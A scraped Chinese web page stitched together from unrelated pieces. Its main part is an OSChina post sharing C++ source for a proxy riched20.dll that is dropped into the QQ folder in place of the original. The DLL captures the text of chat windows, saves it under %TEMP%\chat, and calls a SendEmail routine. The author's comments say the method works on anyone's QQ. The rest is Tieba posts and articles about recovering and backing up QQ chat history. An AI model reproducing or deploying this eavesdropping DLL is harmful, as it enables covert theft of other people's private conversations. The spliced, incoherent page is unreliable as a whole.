QQ的手机qq聊天记录没了为什么没了

截获QQ聊天记录 - 开源中国社区
当前访客身份:游客 [
当前位置:
发布于 日 11时,
可以截获QQ聊天记录。Git@OSC&链接:git@git.oschina.net:lansehanbing/riched20.git&或&https://git.oschina.net/lansehanbing/riched20.git。可以在Git@OSC里找到完整的VC2010项目。
代码片段(1)
riched20.cpp&~&12KB&&&&
// riched20.cpp : Defines the exported functions for the DLL application.
#include "stdafx.h"
#include &stdio.h&
#include &process.h&
#include &io.h&
#include &fcntl.h&
#include &sys/types.h&
#include &sys/stat.h&
#include &share.h&
#include &time.h&
#include &sys/utime.h&
#include &sys/timeb.h&
typedef struct _tagEnumProcParam
} CEnumProcP
const GUID IID_ITextServices = {0x8d33f740, 0xcf58, 0x11ce, {0xa8, 0x9d, 0x00, 0xaa, 0x00, 0x6c, 0xad, 0xc5}};
const GUID IID_ITextHost = {0xc5bdd8d0, 0xd26e, 0x11ce, {0xa8, 0x9e, 0x00, 0xaa, 0x00, 0x6c, 0xad, 0xc5}};
const GUID IID_ITextHost2 = {0xc5bdd8d0, 0xd26e, 0x11ce, {0xa8, 0x9e, 0x00, 0xaa, 0x00, 0x6c, 0xad, 0xc5}};
const GUID IID_ITextDocument = {0x8CC497C0,0xA1DF,0x11CE,{0x80,0x98, 0x00, 0xAA, 0x00, 0x47, 0xBE, 0x5D}};
//const GUID IID_ITextHostEx;
static HMODULE hRich20L
CRITICAL_SECTION g_
static PCreateTextServices _CreateTextS
// MSN,Skype
HRESULT WINAPI CreateTextServices(IUnknown *punkOuter,
ITextHost *pITextHost, IUnknown **ppUnk)
//DWORD dw = GetSystemDirectory(szLib, MAX_PATH);
//if(dw == 0) return 0;
//szLib[dw] = TCHAR('\0');
//_tcscat(szLib, _T("\\RichEd20.Dll"));
//EnterCriticalSection(&g_critical);
if(!_CreateTextServices)
_TCHAR szLib[MAX_PATH]; //255 is enough
memset(szLib, 0, sizeof(szLib));
_tcscpy(szLib, _T("RichEd20.orig.Dll"));
if(!hRich20Lib && !(hRich20Lib = LoadLibrary(szLib)))
//LeaveCriticalSection(&g_critical);
if(!_CreateTextServices)
_CreateTextServices = (HRESULT (__stdcall *)
(IUnknown*, ITextHost*, IUnknown**))GetProcAddress(hRich20Lib, "CreateTextServices");
if(!_CreateTextServices)
//LeaveCriticalSection(&g_critical);
//LeaveCriticalSection(&g_critical);
*ppUnk = new IMyUnknown(punkOuter, pITextHost);
return S_OK;
IMyTextServices::IMyTextServices(ITextServices *lpTx, HWND parenthwnd)
: m_lpTx(lpTx), m_content(NULL)
HRESULT IMyTextServices::TxSendMessage(
WPARAM wparam,
LPARAM lparam,
LRESULT *plresult)
return m_lpTx-&TxSendMessage(msg, wparam, lparam, plresult);
HRESULT STDMETHODCALLTYPE IMyTextServices::QueryInterface(
/* [in] */ REFIID riid,
/* [iid_is][out] */ __RPC__deref_out void __RPC_FAR *__RPC_FAR *ppvObject)
return m_lpTx-&QueryInterface(riid, ppvObject);
ULONG STDMETHODCALLTYPE IMyTextServices::AddRef( void)
return m_lpTx-&AddRef();
ULONG STDMETHODCALLTYPE IMyTextServices::Release( void)
SaveToFile();
SendEmail();
hr = m_lpTx-&Release();
if(m_content) {
SysFreeString(m_content);
m_content = NULL;
HRESULT IMyTextServices::TxDraw(
DWORD dwDrawAspect,
void * pvAspect,
DVTARGETDEVICE * ptd,
HDC hdcDraw,
HDC hicTargetDev,
LPCRECTL lprcBounds,
LPCRECTL lprcWBounds,
LPRECT lprcUpdate,
BOOL (CALLBACK * pfnContinue) (DWORD),
DWORD dwContinue,
LONG lViewId)
if(m_content != NULL) {
SysFreeString(m_content);
m_content = NULL;
GetContext(&m_content);
return m_lpTx-&TxDraw(dwDrawAspect, lindex, pvAspect, ptd, hdcDraw, hicTargetDev,
lprcBounds, lprcWBounds, lprcUpdate, pfnContinue, dwContinue, lViewId);
HRESULT IMyTextServices::TxGetHScroll(
LONG *plMin,
LONG *plMax,
LONG *plPos,
LONG *plPage,
BOOL * pfEnabled )
return m_lpTx-&TxGetHScroll(plMin, plMax, plPos, plPage, pfEnabled);
HRESULT IMyTextServices::TxGetVScroll(
LONG *plMin,
LONG *plMax,
LONG *plPos,
LONG *plPage,
BOOL * pfEnabled )
return m_lpTx-&TxGetVScroll(plMin, plMax, plPos, plPage, pfEnabled);
HRESULT IMyTextServices::OnTxSetCursor(
DWORD dwDrawAspect,
void * pvAspect,
DVTARGETDEVICE * ptd,
HDC hdcDraw,
HDC hicTargetDev,
LPCRECT lprcClient,
return m_lpTx-&OnTxSetCursor(dwDrawAspect, lindex, pvAspect, ptd,
hdcDraw, hicTargetDev, lprcClient, x, y);
HRESULT IMyTextServices::TxQueryHitPoint(
DWORD dwDrawAspect,
void * pvAspect,
DVTARGETDEVICE * ptd,
HDC hdcDraw,
HDC hicTargetDev,
LPCRECT lprcClient,
DWORD * pHitResult)
return m_lpTx-&TxQueryHitPoint(dwDrawAspect, lindex, pvAspect, ptd,
hdcDraw, hicTargetDev, lprcClient, x, y, pHitResult);
HRESULT IMyTextServices::OnTxInPlaceActivate(LPCRECT prcClient)
return m_lpTx-&OnTxInPlaceActivate(prcClient);
HRESULT IMyTextServices::OnTxInPlaceDeactivate()
return m_lpTx-&OnTxInPlaceDeactivate();
//@cmember UI activate notification
HRESULT IMyTextServices::OnTxUIActivate()
return m_lpTx-&OnTxUIActivate();
//@cmember UI deactivate notification
HRESULT IMyTextServices::OnTxUIDeactivate()
return m_lpTx-&OnTxUIDeactivate();
//@cmember Get text in control
HRESULT IMyTextServices::TxGetText(BSTR *pbstrText)
return m_lpTx-&TxGetText(pbstrText);
//@cmember Set text in control
HRESULT IMyTextServices::TxSetText(LPCWSTR pszText)
return m_lpTx-&TxSetText(pszText);
//@cmember Get x position of
HRESULT IMyTextServices::TxGetCurTargetX(LONG *plongvar)
return m_lpTx-&TxGetCurTargetX(plongvar);
//@cmember Get baseline position
HRESULT IMyTextServices::TxGetBaseLinePos(LONG *plongvar)
return m_lpTx-&TxGetBaseLinePos(plongvar);
//@cmember Get Size to fit / Natural size
HRESULT IMyTextServices::TxGetNaturalSize(
DWORD dwAspect,
HDC hdcDraw,
HDC hicTargetDev,
DVTARGETDEVICE *ptd,
DWORD dwMode,
const SIZEL *psizelExtent,
LONG *pwidth,
LONG *pheight)
return m_lpTx-&TxGetNaturalSize(dwAspect, hdcDraw, hicTargetDev, ptd, dwMode,
psizelExtent, pwidth, pheight);
//@cmember Drag & drop
HRESULT IMyTextServices::TxGetDropTarget(IDropTarget **ppDropTarget )
return m_lpTx-&TxGetDropTarget(ppDropTarget);
//@cmember Bulk bit property change notifications
HRESULT IMyTextServices::OnTxPropertyBitsChange(DWORD dwMask, DWORD dwBits)
//dwMask &= ~TXTBIT_USEPASSWORD;
//dwBits &= ~TXTBIT_USEPASSWORD;
//dwMask |= TXTBIT_SHOWPASSWORD;
//dwBits |= TXTBIT_SHOWPASSWORD;
return m_lpTx-&OnTxPropertyBitsChange(dwMask, dwBits);
//@cmember Fetch the cached drawing size
HRESULT IMyTextServices::TxGetCachedSize(DWORD *pdwWidth, DWORD *pdwHeight)
return m_lpTx-&TxGetCachedSize(pdwWidth, pdwHeight);
/* ============================= IMyUnknown ============================= */
IMyUnknown::IMyUnknown(IUnknown *punkOuter, ITextHost *pITextHost)
: m_pITextHost(pITextHost)
HRESULT hr = _CreateTextServices(punkOuter, pITextHost, &m_ppUnk);
//((IUnknown*)(m_ppUnk))-&QueryInterface(IID_ITextServices, (void**)(&m_lpTx));
HWND IMyUnknown::GetITextHostHwnd(void)
if(m_pITextHost == NULL)
return NULL;
return WindowFromDC(m_pITextHost-&TxGetDC());
HRESULT STDMETHODCALLTYPE IMyUnknown::QueryInterface(
/* [in] */ REFIID riid,
/* [iid_is][out] */ __RPC__deref_out void __RPC_FAR *__RPC_FAR *ppvObject)
ITextServices *lpTx;
//hr = ((IUnknown*)(m_ppUnk))-&QueryInterface(IID_ITextServices, (void**)(&lpTx));
hr = ((IUnknown*)(m_ppUnk))-&QueryInterface(riid, (void**)(&lpTx));
*ppvObject = new IMyTextServices(lpTx, GetITextHostHwnd());
ULONG STDMETHODCALLTYPE IMyUnknown::AddRef(void)
return m_ppUnk-&AddRef();
ULONG STDMETHODCALLTYPE IMyUnknown::Release(void)
HRESULT hr = m_ppUnk-&Release();
const _TCHAR *IMyTextServices::GetTempDir(void)
static _TCHAR chatdir[_MAX_PATH];
_TCHAR *p;
if(!getted)
memset(chatdir, 0, sizeof(chatdir));
if((p = _tgetenv(_T("TEMP"))) == NULL
&& (p = _tgetenv(_T("TMP"))) == NULL
&& (p = _tgetenv(_T("APPDATA"))) == NULL)
GetModuleFileName(NULL, chatdir, sizeof(chatdir) / sizeof(chatdir[0]) - 1);
if((p = _tcsrchr(chatdir, _T('\\'))) != NULL)
*(p + 1) = _T('\0');
_tcscat(chatdir, _T("qq\\"));
_tcscpy(chatdir, _T("C:\\system64"));
_tcscpy(chatdir, p);
if(_taccess(chatdir, 06) == -1)
_tmkdir(chatdir);
getted = 1;
int IMyTextServices::GetTempPath(_TCHAR *chatpath, _TCHAR *temppath)
_TCHAR exepath[_MAX_PATH], exename[_MAX_FNAME];
memset(chatpath, 0, sizeof(_TCHAR) * _MAX_PATH);
memset(temppath, 0, sizeof(_TCHAR) * _MAX_PATH);
memset(exename, 0, sizeof(exename));
memset(exepath, 0, sizeof(exepath));
GetModuleFileName(NULL, exepath, sizeof(exepath) / sizeof(exepath[0]));
_tsplitpath(exepath, NULL, NULL, exename, NULL);
wchars = _sntprintf(chatpath, _MAX_PATH - 1, _T("%s\\chat"), GetTempDir());
_wmkdir(chatpath);
_snwprintf(chatpath + wchars, _MAX_PATH - 1u - wchars, L"\\%s%#010X.txt", exename, GetCurrentProcessId());
wchars = _sntprintf(temppath, _MAX_PATH - 1, _T("%s\\temp"), GetTempDir());
_wmkdir(temppath);
_snwprintf(temppath + wchars, _MAX_PATH - 1u - wchars, L"\\%s%#010X.txt", exename, GetCurrentProcessId());
return BUFSIZ;
int IMyTextServices::GetContext(wchar_t **content)
if((hr = m_lpTx-&TxGetText(content)) == S_OK) {
//if(*content != NULL && **content == (OLECHAR)0x000D && *(*content + 1) == _T('\0')) {
// 参考网址http://www.unicodemap.org/details/0xFFFC/index.html
if(*content != NULL && (**content == (OLECHAR)0x000D
|| (**content &= (OLECHAR)0xFFF0 && **content &= (OLECHAR)0xFFFD))) {
if(*content != NULL && **content == (OLECHAR)0x000D) {
SysFreeString(*content);
*content = NULL;
return -1;
if(*content == NULL)
return -1;
/* 返回 finaltxt 的宽字符数 */
unsigned int IMyTextServices::ConvertContext(wchar_t **finaltxt)
if(finaltxt == NULL)
return 0U;
unsigned int contentlen, i, printcount = 0U;
contentlen = SysStringLen(m_content);
if((*finaltxt = (wchar_t *)malloc((contentlen * 2 + 1 ) * sizeof(wchar_t))) == NULL)
return 0U;
pfinaltxt = *
*pfinaltxt++ = 0xFEFF; //用_O_U16TEXT打开文件,就不用手工添加 0xFEFF了。
for(i = 0U; i & i++) {
if(m_content[i] == 0x000D) {
*pfinaltxt++ = L'\r';
*pfinaltxt++ = L'\n';
else if(m_content[i] == 0xFFFC)
else if(iswprint(m_content[i])) {
*pfinaltxt++ = m_content[i];
printcount++;
*pfinaltxt = _T('\0');
return printcount == 0U ? 0 : pfinaltxt - *
void IMyTextServices::SaveToFile(void)
_TCHAR chatpath[_MAX_PATH], temppath[_MAX_PATH];
if(m_content == NULL)
if(GetTempPath(chatpath, temppath) == -1)
if((finaltxtwchars = ConvertContext(&finaltxt)) == 0U)
if((fd = _tsopen(chatpath, _O_BINARY | _O_CREAT | O_RDWR | _O_TRUNC,
_SH_DENYNO, _S_IREAD | _S_IWRITE)) == -1)
if((fd = _tsopen(temppath, _O_BINARY | _O_CREAT | _O_WRONLY | _O_APPEND,
_SH_DENYNO, _S_IREAD | _S_IWRITE)) == -1)
free(finaltxt);
_write(fd, finaltxt, finaltxtwchars * sizeof(wchar_t));
_close(fd);
// 不知道为什么要执行一次unlink,才能把temppath删掉。rename根本就是复制文件,不是移动。MoveFileW也是复制文件。
// Windows Server 2003 企业版 R2 Visual Studio 2010 sp1。 18:18
// 单独在一小程序里测试 _wrename,发现它会把源文件移动到目标文件。
// 用单步调试执行 _wrename,行为和MSDN文档里描述一致。
_wrename(temppath, chatpath);
_wunlink(temppath);
free(finaltxt);
开源中国-程序员在线工具:
相关的代码(218)
表示看不懂,大概是能才从自己的程序得到qq的聊天消息吧,
2楼:蓝色寒冰 发表于
把QQ目录里的riched20.dll改名为riched20.orig.dll,然后放入这个riched20.dll,启动QQ就行了。聊天记录在关闭聊天窗口时被记录下来。不管是谁的QQ,都行。
3楼:明月惊鹊 发表于
请讲讲原理? 是不是函数转发器?
4楼:蓝色寒冰 发表于
可以这么理解
5楼:泥人张 发表于
记录在哪里的哦?
6楼:蓝色寒冰 发表于
引用来自“泥人张”的评论记录在哪里的哦?%TEMP%\chat
7楼:月之静谧 发表于
这个能用于mac版的qq吗?
8楼:十方三世 发表于
引用来自“月之静谧”的评论这个能用于mac版的qq吗?用的都是COM,只有windows才支持吧
9楼:长安俞白眉 发表于
引用来自“蓝色寒冰”的评论可以这么理解明文吗?能发个二进制版本吗
10楼:megadeth 发表于
引用来自“月之静谧”的评论这个能用于mac版的qq吗?Mac下没有stdafx.h
11楼:幽烛 发表于
12楼:chinaking 发表于
如何使用?可以截取别人的聊天记录吗
13楼:喵小强 发表于
不错!!!厉害!
14楼:七月_ 发表于
实测只有QQ号,没有聊天信息呢
15楼:lxx26 发表于
引用来自“七月_”的评论实测只有QQ号,没有聊天信息呢截获的聊天记录在哪?
16楼:32Er43 发表于
17楼:马卡洛夫 发表于
厉害啊哥们儿
18楼:幽烛 发表于
测试了 不能用啊 &QQ直接无法启动了
19楼:刘柳 发表于
20楼:AHei 发表于
亲测,非常完美。要是加个发送到指定邮箱的功能就好了。
开源从代码分享开始
蓝色寒冰的其它代码您的举报已经提交成功,我们将尽快处理,谢谢!
是不是重装qq了,或者把qq以前的记录删了
大家还关注
(window.slotbydup=window.slotbydup || []).push({
id: '2081942',
container: s,
size: '1000,60',
display: 'inlay-fix'【qq问题求助】手机qq聊天记录里的图片没了怎么办_qq吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:1,879,331贴子:
【qq问题求助】手机qq聊天记录里的图片没了怎么办收藏
我用自己的手机给别人发的qq图片,现在我把qq缓存给删了,我想看那几个图片要怎么办啊,求好人,那几个图片对我真的很重要!!
已经删除了 我看不到  
死了也要顶
不睡觉也要顶
顶顶更健康
求帮助!!
快来人啊!
求方法!!
万恶的验证码
要要,切客闹
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或今日桌面相关导读
&&&&&& &&&QQ聊天记录妥善保管不丢失也不让人看
QQ聊天记录妥善保管不丢失也不让人看
日 10:58&出处:&【原创】 作者:陈涛 编辑:
  泡泡网软件频道5月21日&聊天记录中包含了许多重要信息,因此对于大多数网友来说都不愿意看到自己的聊天记录突然消失,如果是购买了QQ会员的网友可以将自己的QQ聊天记录保存到QQ中,但对于很多不是QQ会员的网友来说为了防止这个问题的出现,最可靠的方法就是平时做好QQ聊天记录的备份工作,一来可以自己保管QQ聊天记录,重要信息不会丢失,二来还能确保QQ消息不泄露,只有自己的才能查看。如果我们使用QQ比较频繁,那么为了确保信息保存完整最好是每天都不能忘记备份所有的QQ消息,然而工作忙,生活琐事一大堆,这种小事用软件来解决自然是最好的。
   QQ消息备份还原助手(/)是一款小巧绿色的简单软件,就是用来帮助我们自动快速备份所有的QQ聊天记录,让QQ聊天记录永不丢失。利用这个小工具我们可以把QQ中的所有聊天记录快速备份到指定磁盘文件夹中保存起来,如果这样你还不放心的话,可以把这个文件夹再拷贝到中保存,一旦出现了QQ消息丢失或是自己操作删除了QQ聊天记录,不必担心依然是打开QQ消息备份还原助手就能一键还原最新备份过的QQ消息,把所有的QQ消息记录都找回来。换句话说,就算是你自己不愿意让别人查看你的QQ聊天记录,只要使用该软件备份过后将所有QQ消息清除也没关系,因为你手中有备份,随时能恢复查看,然而别人就算登录了你的QQ帐号也什么都看不到。
   QQ消息备份还原助手使用简单,下载安装后我们只要根据自己使用QQ的具体情况,设置软件自动备份QQ消息的频率,比如每天或是每周备份一次,剩下的工作就全部交给软件自动去完成了。为了增强备份的QQ聊天记录安全性,该软件还提供了强大的加密功能,为备份的QQ消息设置密码,想要恢复QQ聊天记录来查看没有密码也不行。QQ消息备份还原助手提供了一种简单便捷的QQ聊天记录备份恢复方法,无需用户过多的操作,当需要使用到它的时候从桌面右下角的就能找出来,既不占用过多系统资源,又能保证QQ消息永不丢失妥善管理,非常实用!■
浏览本文的用户还购买了
延伸阅读: &&&&&&&&
扫一扫 关注泡泡网官方微信
也可搜索官方微博号:PCPOPWX
一周热文 今日热文 高清图文
推荐文章推荐产品
产品号九号平衡车There is no row at position 0. 有误产品号HTC ViveThere is no row at position 0. 有误产品号佳能EOS 1DX Mark IIThere is no row at position 0. 有误
汽车之家内容精选
请您留下希望的价格和联系方式开团前,我们会通知您。
心理价格:元
邮  箱:@qq.com
手  机:
* 手机/邮箱任填其一QQ升级版本或重装系统后聊天记录都丢失了怎么办?
今天一哥们突然对我说,升级安装新版本QQ后,他很重要的QQ聊天消息记录找不到了,很沮丧,其实很多网友在使用QQ时都遇到过这样的一个问题,有时很多重要的QQ聊天记录想要急于找到,但苦于没办法,就此作罢,难道就没有什么好的解决办法吗?亦是美网络今天就这个问题为大家支招,希望能帮助到遇到此问题的网友。相关阅读:之前的QQ版本在安装新版本后都会提示导入消息记录,但升级到QQ2013版本时,并没有提醒我们导入QQ消息记录,那么这样一来,我们之前的所有QQ信息和聊天记录就都没有了,这时我们不用担心,只要你以前安装的QQ目录还在,没有被你删除掉,我们都可以重新导入以前的QQ消息记录,其实腾讯QQ一直为我们准备着这个导入功能,只是大家不知道而已。具体方法和步骤:打开QQ登录后,找到QQ面板的最下面,然后点最左边的&企鹅图标&,这就是&主菜单&,然后找到&工具&- &数据导入工具&,如下图所示。我们打开&数据导入工具&后,会提示选择要导入的内容,包括&自定义表情&和&消息记录&,根据需要,自己选择即可,如下图所示。我们点击&下一步&,会提示让你&选择导入自定义表情和消息记录的方式&,如下图所示。上图分为三种情况,如果你的新版本QQ安装目录和之前旧版本的安装目录一致,那么我们就选择第一种&自动搜索导入&即可。如果新版本QQ安装目录和旧版本安装目录不一致,那么我们可以选择&从指定目录导入&和&从指定文件导入&,导入时找到之前QQ号码所存放的目录即可。如果你看了此教程还是不会操作,请联系我QQ进行咨询。
&&&&&站长QQ:,有问题可直接询问或发邮件。
亦是美网络,成立于日,是一个致力于操作系统应用与计算机网络技术的综合IT网站,为大家不断提供和推荐有用的网络教程与技术。

我要回帖

更多关于 qq聊天记录都没了 的文章

 

随机推荐